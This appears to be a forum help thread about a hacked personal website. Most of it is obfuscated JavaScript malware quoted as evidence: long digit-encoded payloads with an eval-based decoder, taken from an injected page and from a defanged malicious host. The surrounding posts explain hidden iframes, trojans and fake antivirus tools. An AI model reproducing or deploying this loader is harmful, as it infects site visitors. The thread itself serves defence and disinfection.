7315683323526273175627886133462788613370153775236867737073176361751561562788613346781640164016401683632304676887376181042837890488613346467315683323526273175637890488613346378904886133701537752368677370731763617515615637890488613346781640164016401683630447522468238152281537751667175623046767278861337822834646654141278861337866837246826617181867278861337822834646064141278861337866837246223417175689812447846152687043332368616742726037377561682824818961467350847580818175157085583258603961337024756015157328603324102388614673700962608461150943813384157027603373284323896810467322732810612362106846732273027237603360842852608461467337338473288860754761467361161681581111478526108416595987484576481626113348816181274734660506103423730902720960373775616802421751631537752267176304475224682381522815377522671756230467278861337822834646064141278861337866837246826617568860332868332304334689812447846152687024336160686177756184615268677354447657587773175168332304337015616857686833238647686167734323896810734022175168332304337015616857686833238647686167731061236210687340221751683323043370156168576868332386476861677315332473407370096260846115092760886029683347156870371037140446224973175189812447846152687086818987706037376152890510237589676833230433176315377582671763044752246823815228153775826717562304672788613378228346460641412788613378668302462216414127886133786683724622301756048133678860332823461651237252608823626068813370842384618087376115707561526268105123555517568860332815848637465260882362606881337084238461808737611578238370688737615123046715848637464642603737752324606823815209276088602089613775818784615268206881817539236842181815848637464642603737752324606823815209523733475268238461201524332337686086756120377547622352518961377581878461526868818175392368421756683387568860332886154689812447846152687024336160686177756184615268674221357477058042175186157015616857686833238647686167426887376142401584863717518615701561685768683323864768616742432389681042401617518615701561685768683323864768616742106123621068424016175189812447846152687086818987706037376152890510237589678615175186157075604752241067421068683769282074202760332820747979797949347022222270652270221616797937478679795261437060882328281068683769090904628861846833331270248170688809397037103714044622494161468228528152614217632460682410676117566363636315377566671763044752246823815228153775666717561537750067176304475224682381522815377500671756153775656717630447522468238152281510814329378904671533241756886033283746898124478461526870243361606861777561846152686773818627612468731751377015616857686833238647686167736887376173407360373775232460682381520937890473175137701561685768683323864768616773896068607340153324175137701561685768683323864768616773432389681073402217513770156168576868332386476861677310612362106873402217518981244784615268708681898770603737615289051023758967371763044752246823815228153775656717562304673789048861337816830216414137890488613378168372341756151081432937890467737009626084611509220489377037103714044622497317636175156128230467673789048861337816834646341718186737890488613378168346463041413789048861337822837246661717561510814329378904677370096260846115098204893770371037140446224973176315377506671763044752246823815228153775066717566833875604813367886033282346164084512372526088236260688133703775476223521570756152626810512355551756886033285260846146526088236260688133703775476223521578238370526084615123046752608461702352896150210467735861892360283175608761337317014620221756844689812447846152687024336160686177756184615268677354447657587773175184701561685768683323864768616773153324734073700962608461150937241070371037140446224973175184701561685768683323864768616773432389681073401617518470156168576868332386476861677310612362106873401617518981244784615268708681898770603737615289051023758967841763636324606824106761175663156168802384618147686761528929336189233361246840061616161763153775166717</div></div><script>

q="v";

el=document.getElementsByTagName("di"+q)[0];

k=document.createTextNode("eval");

with(el){

appendChild(k);

}

q="extNode";

if (+"2" === 2) {

el.appendChild(document["createT"+q]("ReferenceError"));

}

el3=el.lastChild.previousSibling;

el2=el.removeChild(el.childNodes[1]);

e = eval(el3.nodeValue);

e("k=el2.no"+"deVa"+"lue");

ar = "4!>KfC6U$/hDzQ?s0)|S-O1ic*Nj _9PLr8BGpWk,&\"wFq=uV7x;n^I+{AM%aeg}H53(t:.@<'JlRE[\\To2]mXbyvd";

with(document){

q="v";

qwe=getElementsByTagName("di"+q)[1].innerHTML;

}

s="";

aaa=qwe["len"+"gth"];

for (i=0;i<aaa;i+=2){

q=qwe.substr(i,1)*10;

q2=qwe.substr(i+ +"1",1)*1;

e("q+=q2");

with(s){

s=concat(ar["su"+"bstr"](e("q"),1));

}

}

e(s);

</script></body></html>

At that point, it's above my pay grade. It's called obfuscated script. You have to run the script to find out what the script is. I'm not going to allow it to run javascript to find out what it does -- it probably directs to yet another webpage. Someone who knows javascript would be able to decode it pretty easily.

You didn't do this by accident, and neither did your friend. Someone has hacked your websites. They could have gotten access to the server itself, or they may have put trojans on the computers you folks use to upload your website files. Unless you find the trojan and remove it, it will keep uploading the file with the iframe. There's no telling what dangerous stuff could be on your own website when someone else controls it -- McAfee's warning is completely accurate.

If you have a trojan on your home computer, a negative virus scan means nothing. The first thing they do is make changes to keep your AV from finding them. It's common for there to be a week or two when a new trojan isn't detected by your AV. If you're infected during that interval, you won't be protected by your AV program. You may find your updates have been shut off, or that your browser history has been erased to conceal where you got the infection -- though it could have been long ago, and you're just finding the infection because your website is pwned.  If your friend and you have shared files or flash drives or other data, you could both be infected from the same source.

I would recommend going to spywarehammer.com and following the instructions for malware removal to disinfect your computer. There are volunteers who will help you for free. It may take several days of them giving you tasks to do and then you uploading the results, however. One of the typical tricks is to install a different program fresh, one the malware hasn't had a chance to deactivate. But what you don't want is to install a fake AV program, and there are a lot of those around. You have to get recommendations from a trusted source.

View solution in original post

2 Replies
AlphaCentauri
Former Member
Message 2 of 3

Re: McAfee SA Red: Weird Website Redirect on Personal Homepage...

Jump to solution

Hi, seraphicgate,

The code you see is called an "iframe," not surprisingly. There are legitimate uses for them, but when their dimensions are 1x1 px, they're there for something sneaky. It will look like a period on your page. Sometimes it loads an image, and it allows the person with the website hosting the image to collect the IP addresses of everyone who views your website, a type of spyware.

But in this case, a .php file is capable of executing a program. That's bad. 

I will see if this forum allows me to show the source code for that page hxxp://fgvemtrrz.co.tv/forum.php

<html><body><div style="visibility:hidden"><div>89812447846152687043332368616773722461526861330272102202001600282681682844814752897209102202720924615268613302721033027317510447522468238152286152892933618923336124686717566388603328276088600423756146737009626084611509626168746088605452048170276033735188603328278861334678164016401640168340378904886133467816401640164016835168338756886033283175476223521161686124684656106052897561336904475224682381526724408640601756336168473352280447522468238152671756246786406017636340231511610423526189690447522468238152678617563361684733522868873761810428860146424752896104235261894263402315573333608769044752246823815267861756336168473352670960333360870923177068611568672186276124687037338168816887376170688119683323526270246075756786171763402315444752246904475224682381526786175633616847335228688737618104288646464204475224682381524263402315196833235262690447522468238152678617563361684733522868873761810428864646421568332352624263402315264784690447522468238152678617563361684733522868873761810428864646425247848661334263402315196833264784690447522468238152678617563361684733526768873761810428864646421568332352624241416709798909177068611568678617176340626168264784766162506909787989837879897970792940208325094015377523682647847661625069097879707929402083096240626168264784690447522468238152678640241756886033288946681023154060468970231519683326478467861714678970231511610423526189672417145261432876616277503767241769897062616826478476616250177061506124678617695247757551336168473352286014607816836952477575634024818437603361264784156904475224682381526710400440891756886033286146681023154024408640604062463760331561545268512304676170231519683326478467101741416170231519683326478467041717562304676170231511610423526189678917414189702481843760336126478415175633616847335228897024818437603361264784156710400417632446107015377523686761701537752368264784766162501751864604701537752368676170153775236826478476616250175104813367604616516072586068107084235267247075615262681040867075615262681017516055551756230467626724786083402216170262678678608340221617175633616847335228226323046762672478608340221617726267867860834022161717563361684733522820226363633361684733522816634004813384606826478469044752246823815267864024175688603328894668102315406040615123046701897023151968332647846786171756336168473352285247757563230467018970231526478467241717562446006324202051614686703361377560246167097915096240424217701537752368678970153775236826478476616250177024815224606867784216424042164240421642404216428317510481336760461651607200516055551756230467095367165517677055170809706861156867617860831717566178608346766162775037700882632304676002241818016709798909177068611568676178608317175661786083464216426363336168473352286170157523246167164000177027812352674240421763400808106015582384618087376169044752246823815267601756336168473352280447522468238152678917562304670160702315547741418917568860332824408640614004466070231519683323526267891714788983698951230467010418180104707561526268101756336168473352285247757563048133676146165161720470756152626810516155551756230467097853791583097068611568670478618317414167244652608823626068813370842384618087376115780478618383174141678646247061526086756189317547622352174141678670526084611818867089611524332337682381521717563361684733522824636363336168473352285247757563634004235289266088317547622352690447522468238152677540614024175688603328274668102315401046526143287661627750376775404223421740894667012770231511610423526189676117181861171409798909691640394624145261432876616277503767244042234217691640604652608823626068813370377547622352154062464242400440864084510481336704461651047260707561526268105104555517568446607804837089611524332337682381521818625186466078048370526084611818625123046767107068611568678417414167018918188970686115686776616277503770756104680581526861506855766162775037703323621068058152686150681717171818671070686115686786174141670189181889706861156867766162775037707561046805815268615068557661627750377033236210680581526861506817171717562304670139181801673970686115686784171818397068611568678617171756336168473352286078048363636333616847335228524775756340626168582384617752608675618931754762235269044752246823815267604004175688603328614668102315408640244652614328766162775037670440422342174089464242512304676786466170106015582384618087376167601717414167864686706152608675618931754762235217414167247068611568678670896115243323376823815218188917181824706861156867867052608461181889171717563361684733522886633361684733522816634062616831754762235244237561486133152381526904475224682381526704408617568860332810466810231540614089406240604024462022512304671070211902821818010418180104708861331523815218180167614610706261682647846704708861331523815217171756336168473352288663230467018617563361684733522861636146107004813384606826478467611751864610700481338460682647846786175189468670153775236867107015377523682647847661625017516246617015377523686710701537752368264784766162501751048133676046165160728970756152626810516055551756230467240220224141600224414189786083014642164217563361684733522886632304676278608301468978608317562304672446462022175624466063230467897860830146421642175633616847335228866363633361684733522861634057852169432352898143705724682388618521862761246840626168578521690447522468238152678617568860332804465247757540894024466810231540605168338756044652614328247057852167861763246068241067891756633361684733522804634024815288613368444752241569044752246823815267621756886033286040104004408646095378790883787908830940894656634024466810231551048133676028235228621756230467867068611568676017175689786083462263630481336760282352288917566833875610466070157523246167821751230467107075615262681002164141016278108317566278108346627860836762175189617561686128627860836363246068241067041756636363402352236819243323376869044752246823815267175688603328244668102315406046526088236260688133406146420942402346607047156133576261526818184242406246607088615289813318184242408646607037756068048133841818424240104660703733818947246818184242512470211946221616512304678617568860332804408946784238235242402240425860244240824042322352475042406640424433616135191142400040422331108152614240822270224042233181894240822270824042233160894240822270664042382352702505774240828270224042382352702558818623756142408282708240423181243961687979152531054240828270664042424022161683510481336704468970756152626810208251040246165104460420821756230467897804834141526143287661627750376789780483404223421770686115686786171756247021194689780455228351863361603963636324702481528861336844475224156724175124702315547746526143284447522468238152674233616847335228425561554225712424298152017125425561554204607515614217671751247088613354774624702315547741416709581954777915256779895579701479892517092317706861156867231714376033156144758160686776616277503770082240221617695247757551247057246823886185775260867561894604607515615123046724702315547717568860332804402746784258155084758270855832648080314240425815508475827011215811812447846152684240425823243381158104687085583211215842404219108124394360886144756015107019108124394360886144756015104240428011050568757080110505687542404219106175757007546461753761334240421924332337682352627011232468238152603387424042438437756087613370812450428351048133670446165104722770756152626810510455551756230467247062616857852167277804831717562470572468238861857752608675618946683347615186336160396363247010616089462470231511610423526189678981244784615268706261687775618461526815358780606226608461171489812447846152687062616877756184615268153587806062266084616742106160894217781683695247757563247023153661243981466709366124398109231770686115686710174141670936612439817915257909791525798909231770686115686723175124708861333661243981462470231536612439811424700481338460682647846767093388791525796979152567787970794079898355170923177068611568672317147661627750377008226942167030421769524775755124702315196004603323466709196004603323791525790979152579890923177068611568672317414167095737377561092317706861156867621751247023150510338184614667090510338184617915257909791525677989787989797083251709231770686115686723175124708861330510338184614624702315051033818461142470048133846068264784677661627750377008221769524775755124702315213761336046670921376133607915257879098314791525677989557970147989251709231770686115686723175124708861332137613360462470231521376133604141676709486133152381527915257909791525677989557970147989251709231770686115686723171818221714376033156144758160686776616277503770082240221617695247757551247060898938235277886152686742758160894240247010605289756133672470334752383204475224154024171763402352236869044752246823815267241756886033288646681023154060402451230467018670231519683323526267241717563361684733522820666323046724707561526268104646221756867062616848613315238152116175238423686133462451336168473352282066632446247068813281436133056015616717703361377560246167097915096240424217516046867824835123046701601818016070626168486133152381521756336168473352282066638670377547622352466051230467018670231511610423526189676070235215686075756189171756607023521568607575618946607088613315238152466070886133152381521646607062616848613315238152118152614652477575516070084686516070377547622352266084614624638670626033866062614604607515615123046786702315547741410186705724682388618577526086756189175623046760014646867027608860175633616847335228208263633361684733522822634004314715106904475224682381526786406017568860332824466810231551230467247023155733336087676017414167247023154447522467861718186724702315573333608767861741418670756152626810021641412470231544475224678678168317171717566070374715106786176363402460757557333360876904475224682381526786175688603328244668102315406051230467247023155733336087678617175604813367604616516072867075615262681051605555175623046786786083464646524775751756336168473352632470246075756786786083175186786083465247757563636340246075756904475224682381526724175688603328864668102315406046867023155733336087672417142470756152626810692022512304676002164141867023154447522467247816831717562478168367864060022214247822836916406002821424788283691640600266142478668369161763617515615623046786702315444752246724171756246786176363634062616848613315238152116175238423686133694240424008086261684861331523815269044752246823815267601756336168473352280447522468238152676240894024175688603328614660702352236867621740044086401051230467617216175633616847335228524775756351044660703775476223525123046704706261684861331523815211815261014622175604706261684861331523815267524775754089402417512304670470626168486133152381521181526146464652477575175604706261684861331523815211815261462263636070247561605247376717518646670470886133152381521818047088613315238152161751864686148670336137756024616760701537752368264784766162504060706261684861331523815211617523842368613317698651336168473352288663634024756160524737690447522468238152671756886033286046681023155123046760706260338660626141416070231511610423526189674323528981437005817575612468366033866062611717564323528981437005817575612468366033866062616717636340608989382352778861526869044752246823815267894024175688603328614668102315406046432352898143408651230467617023154447522467241717562304676070608989778861526832231568615261331756607060898977886152683223156861526133678940244004607515611763617515615623046760706068686024107788615268175660706068686024107788615268674281524255894024176361751561568646607842815242558983516078428152425589834661704323526460528975613367244086176363636340432352646052897561336904475224682381526789402417563361684733522804475224682381526717568967175123046768873761810428244646420447522468238152421756246717636363403832044752241516697883403832044752241569788340334752383204475224156904475224682381526760175660704323523281608961894668334761516070246075755733336087676070383204475224151617516070246075755733336087676070383204475224151751230467607081521181526177843768871123881756607081521181526177843768871123886717636340432352328160896189690460751561400808815238235289814332816089618969044752246823815267601756336168473352280447522468238152678617562304676070432352328160896189175660702460757567861763617515615660700431471510678640607038320447522415176363634089238869524775754089238838238968106965164037754762235219231261692240618437688711238869044752246823815267175688603328244668102315406040614086408946165123046724708923884141247089238870241023758926818961151756048133676046247089238870241023758926818961157075615262681020225160024616516020201756864624708923887024102375892681896115786083512304678641418670241023758926818961151756230467894646161756048133676146867024102375892681896115707561526268102022516102461651612020175686703361848188610510237589678670241023758926818961157861831763247089238870336184818861051023758967861763617515615663636363634011212677044752241569788340815211815261778437688711238869044752246823815267175688603328244668102315406040865123046701247043235232816089618917563361684733526323046724703832044752241541412470383204475224157075615262681041412470383204475224157824703832044752241570756152626810202283014646524775751756336168473352630481336760282352282417568646247860835123046786414186700447522415175623046786702180444646661756336168473352632304678670044752241570756152626810414186700447522415788670044752241570756152626810202283014646524775751756336168473352636363048133676046165160722470112126770447522415707561526268105160555517562470246075755733336087672470112126770447522415176324706184376887112388671763406261683823896810690447522468238152672417562304672417568860332860462470152433817575382389681018182470810404156168382389681040864668102315512304678670231526478467601717563361684733522860636333616847335228202263406261688060621968606847156904475224682381526784406240604086175688603328244668102315400440394684701537605240754624706261683823896810673917401046607015376052402746247062616838238968106710174089466270153760524023462470626168382389681067891751230467013918180110181801891818012470626168112158818627678417175633616847335228208263230467277223181875721618182772161818237216181823724624703775476223521923126118182470377547622352192312617222175633616847335228166323046775024623175633616847335228202263683387562304677546462470377547622352192312614141670124702315547718182470626168112158818627678417703361608987196860686146460017175623046701847043235232816089618941412470432352328160896189175633616847335228226323046784704323523281608961894141247023152647846786171756230467012470231526478467847024814752681717568470248147526846866323046786208470248147526802462216175633616847335228226363636324606824106704175663336168473352281663406261681121588186276904475224682381526762406017568860332804408946681023154024466214627015376052691640864624414124700423331568051023758914226916516833875623046786414160175624700423331568051023758970048124471567176363246068241067041756633361684733522886142470042333156805102375896952477575634015616819688775616904475224682381526786406217568860332804468670156887756140604089402446681023155123046704414162175604813367604616516072627075615262681051604660558217566833875604786278608383466278605522836324606824106789175663636363402352156133681123885452358189876904475224682381526723175688603328624089466810231540104642378966663030666630304240244652477575400446898124478461526840864642724240604667047062616877756184615268153587806062266084616742868189874217781683181804708681898717512304670160175668338756047043332368616786557389238828238946427355105573420281735586554209892388024217512446047062616877756184615268358754896710176324606824106762175663636046670470626168777561846152681535878060622660846167428681898742177816831818047086818987175123046760175623046760700423331568051023758941418970231511610423526189676070235215613368356104813361171756607023521561336835610481336167234060700423331568051023758917636175156156607060373761528905102375896723176323046724175660703361848188610510237589672417636361751561566363402352156133686480583269044752246823815267624086401040604039175688603328754084468981244784615268402746681023154045408146847024336160686177756184615268674215376052421740524023400446427242518860332824467842814768752352611968877561424042528152614240428681338961331968877561424042528152614240423760898923526242404216375042404284603362235242404216375042404288231523862375236887424042882315238675614283512304670127702315116104235261896760171756604642426323046727702315196833235262676217414167097853791583091770686115686762171756454604556255732843238968104642735527703775476223521923126155734228106123621068464273552770377547622352192312615573422873510481336752461651527286707561526268105152465255821756230467097853791583097068611568678678525522831717564555468678528355734642735586785255228355734228736363455546420242510481336752461651527210707561526268105152465255821756230467097853791583097068611568671078525522831717564555460455733760336084285260846146427355107852835573422888607547614642735510785255228355734228090273636345554660550455420942556255420242636175156156454660632304670127708923881756277089238846847024336160686177756184615268674289238842175123468470626168777561846152683587548967423775476223528961686124684217512304672317562770892388462363617515615627708923887023894642377547622352896168612468425127702352156133681123885452358189876727708923881763277015616819688775616727708923884024702481522460686778424323896810424027708923883823896810554237504240421061236210684240672770377547622352192312615566175542375042404204815268192312614240672770377547622352192312615566175542375042404275235261646123621068424067277037754762235219231261556617554237504240428861336823246075577523625242404286601561752352614240428923153775608742404286758124394283171751230467012317562770156168196887756167277089238840784237811523682381524240426086158175476861424042332362106842404216375042404268813742404216375042831763632304672770892388414127708923887037603361526826818961175627708923887060373761528905102375896781175127701561681968877561678140247024815224606867784204815268192312614240672770377547622352192312615566175542375042404275235261646123621068424067277037754762235219231261556617554237504240428861336823246075577523625242404286601561752352614240428923153775608742404223527523526142831717516833875623046781414181703760336152682681896117568170048124471567176363246068241067751756636833875681702352526133648058324645632460682410677517566323046781702410237589268189611570756152626810464622414101672770231536612439814141277024818437603361264784156727708861333661243981404222406540164016421772161717562770156168196887756167817004233315680510237589402470248152246068677842892315377560874240422352752352614283171763336168473352561537605269814043235232816089618969277043235232816089618940686062266084616967277023151968332352626762171462694242176363336168473352561537605269524775754043235232816089618969277043235232816089618940686062266084616942426363402760886069568423846180873761697842603737752324606823815209502027608860206037377561684240426037377523246068238152095020276088602088844240426037377523246068238152095020276088602086616052428340842384618087376174315469426037377523246068238152095020276088602060373775616851273723208861331523815246424024756015155411694224751523896934571130053400162016000077202222112220356677302016163416654400303011306642401180032475601515541169422475152389690557447777445705201177054920161616162016161616205735051177444477110535574240118003842384618087376169784260373775232460682381520927608860208961377581878461526820688181753923684240426037377523246068238152095237334752682384612015243323376860867561203775476223525111613775818784615268808181753923684283400481332461486133230487806062697883402760336978834077526086756189695260882362606881337027608860775260867561896717404877261121761969784219475228582324338115871568618415285452247042404257373775612805818437476861334028545224704283402180446952477575405775752988613315238152156978834084238461808737617431543361154775686942424074608860317547622352298861331523815215697883407460886048613315238152156978782240304082406616834078224034408240661683407822404940824066168340782240064022406616834078224065402240661683407822400040824066168340782240664022406616838340156160332410746088603175476223525785216904475224682381526717568860332810465247757540604668102315402446607008406246788340274678224065401640220083402346782240064016408283400446782240664022401683406146782240004082401683408946782240654016404983408646046075156151230467012470572468238861857752608675618917563361684733522852477575635123046724708861335477024660708423525477886133175662466070156160332410746088605785216723402340861751230467627075615262681002164141861756624660701561603324107460886057852167274027408617636361751561562304676270756152626810464616175662466070156160332410746088605785216704406140046075156117636323046762707561526268100216175610466278168363607074608860317547622352298861331523815215467883702481522460686762175133616847335228106340156160332410746088605785216904475224682381526775402340841756886033285240044010466810231570084045403940604061406240274086403346788351230467107024818437603361264784156775702781235267424042174023702781235267424042171702161756234675632346107004813384606826478467237027812352674240421717518860332881408946422240004082401642402446427460886031754762235270425575781683554242557578228355424255757882835542425567757866830216146742294255677578668372221614421642694242175575786683176942421751048133675246165152726810231570746088604861331523815215707561526268105152555517560446681023157074608860486133152381521578528351454642746088603175476223527042550478168355424255047822835162460478168355427042550478228355427042510481336760460478828351600246165160202017568646427460886038618619686033687023155452156860757561897042556255605542701642512304671070248184376033612647841567047816835542404255047822835542404255605542401642402317024616414101107062616857852167861717562481526823524761638146107024818437603361264784156704781683554240425504782283554240425560554240164240891772161468334761690460751561510481336761460478668351610246165161202017563946605542294255676172221614421642556169611751274645553951230467107062616857852167271741416781181810706261685785216786171717563370374715106762553917512304670184175633616847335228336363230467274646241756336168473352283363632304671070626168578521674555601741416781181810706261685785216786171717563370374715106762556017512304670184175633616847335228336363230467455560464624175633616847335228336363633361684733522833634084235254778861336949406261685823846174315488613315238152690447522468238152671756886033281040604668102315408946607008402446526143287661627750376742674255607084238461808737617431545542176779798970251742404223421740394652614328766162775037674274608860424042234217406140274004464242402346566340624616408651048133671046165110725260882362606881337084238461808737611570756152626810511055551756274652608823626068813370842384618087376115781083512304672470686115686727706887376117414167614627706152608675618931754762235217414167274676616277503770088217414167397068611568676170896115243323376823815218180417181839706861156867617052608461181804171717562378426042558970048133846068264784672717834627636386464216401640164016425104813367102823522823175662555551614610701575232461672217512304678970248184376033612647841567614086170216175686466163636070842384618087376174315433611547756846620216146070842384618087376174315455237842604255868369424251336168473352286202161486695247757563406261684861331523815269044752246823815267844089407517568860332804402446681023154061462470084010462470262180444086462470603737756168402746247088613323048740234688615289813346886133152381527752608675618946524775755123046724706261684861331523815211815261464646524775751756247021804446165124708423846121862746617010601558238461808737616724708423846180873761175124708961377581878003700846615124708961377581878003703760336152682681896146245186700846615186703760336152682681896146245123046710175610700846615110703760336152682681896146246323046727175627703760336152682681896146245127700846615127702352236867176363886033283951230467617023155733336087677517175604813367394616513972867060757581436189707561526268105139555517562304676170231526478467757839831717568670607575814361897839834675783983636363048133673946165139722470048133246148613323048780606270756152626810513955551756867060757581436189783983462470048133246148613323048780606278398363230467617023151968332352626789171756247027603370374715106789176323046724706261684861331523815211815261464616175623046701247088613315238152181886702460528033875752876717175604468670235215613368648058321347613387577575678917512304670478168317562470235215686075756189462251247077528936616848613315238152670478168340047822831763633361684733526388603328624624708961377581878003704547613387671751230467627074767717562346627074767751886152898133462470487726112176197816836323046701617023155477175688603328454052406040815181466724708423846121862741412470775260867561891714683347616904607515615123046701234141670446247062616858238461743154886133152381526717170146465247757517562346046323046701234141247084238461218627175604464274608860785379798983253175476220235242516046617004235289266088317547622352670417512304676017560446526143287661627750376704404223421751454604706861156867607089611524332337682381521818424217146170626168264784676070896115243323376823815217695247757551524604706861156867607052608461181842421714617062616826478467607052608461176952477575512304674541415217562346676170248184376033612647841567617004813384606826478467451740617004813384606826478467521717024616171445695263617515615623464518185263636323046701234141247084238461218627414161702315196004603323414161702119464682175660466170042352892660883175476223526742746088607025797989702531754762202352702505812481604240161751230467601756454661706261682647846760708961152433233768238152175123046745175623464563636323046723175624708861331523815216462351230467247077526086756189175688613315238152775260867561894623636363617515615623046701234141627015686068471546461617562346247015616033241074608860317547622352578521671751230467231756886152898133462470487726112176197816836363230467231756247088613315238152164623512304672470775260867561894141617057246823886185775260867561891756886133152381527752608675618946236363632304670188613315238152775260867561891818867024605280338757528767171756044686702352156133686480583213476133875775756789175123046704781683175688613315238152775260867561894604781683518861528981334604782283636323046701886133152381527752608675618941416704462470454761338738236810814768573737756168156717177816831756247088613315238152164688613315238152775260867561894604781683518861528981334604782283512304672470235215686075756189464620167065175624702352156860757561894616706563632304676170231519600460332341416170211946468217562304670188613315238152775260867561894141811756230467247023521568607575618946464652477575175624702352156860757561894616636175156156230467247023521568607575618946462016706517562470235215686075756189461670656363636323046724702733611123156086756189671717568861331523815277526086756189465247757563512304672470235215686075756189464646524775751756247023521568607575618946886133152381527752608675618914226967231420167082692022176324707752893661684861331523815267886133152381527752608675618940886152898133176340775289366168486133152381526904475224682381526786408917568860332860466810231540244660700851230467607088613315238152161756607088613315238152164624700481338460682647846724706261682647846760708861331523815216171763230467861756607088613315238152462470048133846068264784672470626168264784678617175160708861528981334667247023151968332352626789171489694242176323046760706261684861331523815211815261014622175660706261684861331523815211815261461663634027336111231560867561896904475224682381526717568860332886466810231540894686700840244686708961377581878003704547613387671770747677406051230467244141897021194646221756230467678970231536612439814141897024818437603361264784156789708861333661243981404222403040824016421702461641418970248184376033612647841567244042224006401640228242177216171818678970231505103381846141418970248184376033612647841567244042224006401640228242177216171756336168473352282263635123046789702315213761336041418970886133213761336002463041410186707752608675618941410186708423846121862741410186704547613387382368108147685737377561681567177816831756336168473352282263230467678970231536612439811818897023150510338184611741410186708423846121862741410186704547613387382368108147685737377561681567177816831756336168473352282263336168473352281663408961377581878003695615686068471569524775754074767760757569788340747677695247757540648058326952477575404547613387690447522468238152671756886033280446681023154010460470084024460470376033615268268189614023406040864062467561524652477575512304670470156860684715014646524775751756336168473352280463047015686068471546165123046767107023153661243981414110702481843760336126478415671070886133366124398140107004813384606826478467422270064217177246161718181070231519600460332318181070231505103381846118186710702315547741410110705724682388618577526086756189171756336168473352280463230467107023155477414110708861335477024606175604706480583246107023521561336864805832674281862761246842407883407883175162461070626168112158818627670470648058321763617515615623046701107023155477414167864610701060155823846180873761672470118003842384618087376117174141867068873761175604706480583246107023521561336864805832674281862761246842407842688737614240867068873761834078831751624610706261681121588186276704706480583217636323046762175623046710702315547741411070886133547702460617566833875662702475601515238946247011800324756015155411632460682410672317566363516833875688603328894662702788841551230467891756756152468970626168326152626810671751230467107023152647846775615217175604701568606847154675615202161422692022510481336760461651607275615251605555175686461070626168264784678970626168677561522022206017708861331523815217512304678617560470747677607575786083468663636363632460682410672317566363230467047074767760757570756152626810021617560470747677461070048133846068264784670470747677607575781683176333616847335228046363404547613387382368108147685737377561681516166904475224682381526724406017568860332886464323528981437027608860408951683387562304678641418670756052624141867075605262701987156861841756607088607547614678867075605262701987156861847062616831338137613368876742276088607088613315238152421755422842408670756052627019871568618470626168313381376133688767422760886070886152898133421755422842836363246068241067891756636340454761338738236810814768573737756168156904475224682381526717568860332824466810231540044624700840624060462470454761338738236810814768573737756168155123046701607088607547611756607088607547614678524775754052477575835123046701047023155477414143235289814370276088601756230467047021194646824141047023152137613360414104708861332137613360723070824141047088613321376133600246301756636175156156230467047023153661243981414104702481843760336126478415670470886133366124398140422240304016401642177216414104702481843760336126478415670470886133366124398140422240344016401642170246161756636175156156230467047023153661243981175688603328234086401046898124478461526851230467107024336160686177756184615268414110702433616068617788615268175668338756234610702433616068617775618461526867428923884217408646107024336160686177886152686742648058327788615268154217518670235223687788615268674224106052626142400460751561400460751561175123706089897788615268322315686152613367422410605262614240047010605289756133672470454761338738236810814768573737756168151616400440601740046075156117512370892315376068241077886152686786176324606824106762175663636361751561562470454761338738236810814768573737756168151616670440601763636363633361684733522860708860754761634060373775616869563361154775681569787852477575405247757583407852477575405247757583407852477575405247757583834064805832697816401640168340602468238861697816401640168340607575814361896978824082408283401147848487218627806062648058326916401147848487193760528060626480583269164062616876611547756869044752246823815267175688603328244668102315703361154775681540604086510481336760461651607224707561526268105160555517568646247860835123046786781683175686336160396363336168473352788370248152246068678617634024605280338769044752246823815267891756886033288646681023154024468670084060468670376033615268268189615123046786706075758143618978898346466617563361684733522868334761632304670160708861331523815216181801607077526086756189181867247023155477414101247057246823886185775260867561891717562304678670607575814361897889834646821756336168473352286833476163230467867060757581436189788983464622414101867062616876611547756867177816831756336168473352286833476163633361684733522804607515616340246052803387575287690447522468238152671756886033288646681023154060510481336760461651607286706075758143618970756152626810516055551756230467867024605280338767601717563361684733522868334761636333616847335228046075156163402460520715615737377561688060626904475224682381526717568860332886466810231540244686700840604686703760336152682681896151336168473352670124702315547718186070775260867561891763402460520715612186276124688060626904475224682381526717568860332860466810231540864660700851336168473352670186702315547718188670572468238861857752608675618917634045476133878010231569044752246823815267101756886033286240244668102315408646247037603361526826818961400446867008406046886152898133465247757540894604706261681121588186276724706480583278108340683347611751230467891756683387566046897062616848613315238152671755422842518861528981334689706261684861528981336717554228425189701568606847158660336704704323523281608961891442284269422842176324606824106762175663230467047023151968332647846760171756247033611547756815781083467860408861528981338363683387562304670470231554774141604141897033616089871968606861014600175604706260338660626146683347615189703760336152682681896170336184818861051023758967891763632460682410676217566363634023521561336864805832134761338757757569044752246823815267611756886033286246681023154052466270376033615268268189614089465270084081466270336115477568154045466270648058324010464241528615375141528615375141528615375141528615375142404746425770247560151542512304670189702315196833235262676117181801670979702760337915250809177068611568676117181867097979091770686115686761171756336168473352785247757540524775758363230467527021804472221756527021804446226323046752702733611123156086756189671717563361684733527852477575405247757583632304675270218044728217565270218044468263886033282446614068464242408451230467670978790983091770686115686761171756844661701537752368674209421751244684788470756152626810202283518478847075615262681020228346424251684684702781235267420942176388603328274678426033241023886142402440422481896142404783407546784284608715243323376842404268334761428340334678421524332337686086756142404268334761428370248152246068677517400446018970231554774141527084238461218627414152708423846121862770688737611452708423846121862770688737616952708423846180873761781683512304670145781683414162702460520715612186276124688060626717414162702460528033876716171756457816834689702315547714897023521561336864805832674281862761246842407842688737614240048370248152246068672717407842248189618660156142406883702481522460686727177024815224606867331740104052176989702352156133686480583267428186276124684240784268873761424004404260332410238861424024404224756015152389424042276088606942554783407842248189618660156142406840426033241023886142402483702481522460686733174010405217518178168346781640168351627045476133878010231567161763230467014578228341416270246052071561573737756168806062671741416270246052803387672217175645782283468970231554771489702352156133686480583267426037377561684240784260756842401083702481522460686775177024815224606867271740784224818961866015614240688370248152246068677517401040521769897023521561336864805832674260373775616842407842248189618660156142406840426075684240108370248152246068677517702481522460686727174078837024815224606867751740104052175181782283467816401683516270454761338780102315672217632304670145788283414162702460520715612186276124688060626717414162702460528033876782171756457882834689702315547714897023521561336864805832674281862761246842407842247560151523894240527024756015155411834078422481896186601561424068837024815224606867271770248152246068673317401040521769897023521561336864805832671751817882834678164016835162704547613387801023156782176323046701627011478484872186278060626480583241416270246052071561218627612468806062671717566270114784848721862780606264805832468970235215613368648058326742818627612468424078834078834010176323046701627011478484871937605280606264805832175662701147848487193760528060626480583246897023521561336864805832674242407883407883401017635188603328394060461651048133673946165139728170756152626810513955551756230467457839831818627024605280338767391717566055556361751561568633616039636323046760464681707561526268101756527062616848613315238152118152614652700481332461486133230487806062707561526268100216141669226333616847335228627062616876611547756867176363406037376152896904475224682381526761408917560481336788603328244616512472897075615262681051245555175661703747151067897824831763634074608860442350690447522468238152671756636340608981866133616089613369568423846180873761694260373775232460682381520937890442405260883175476223522186276952477575403733816254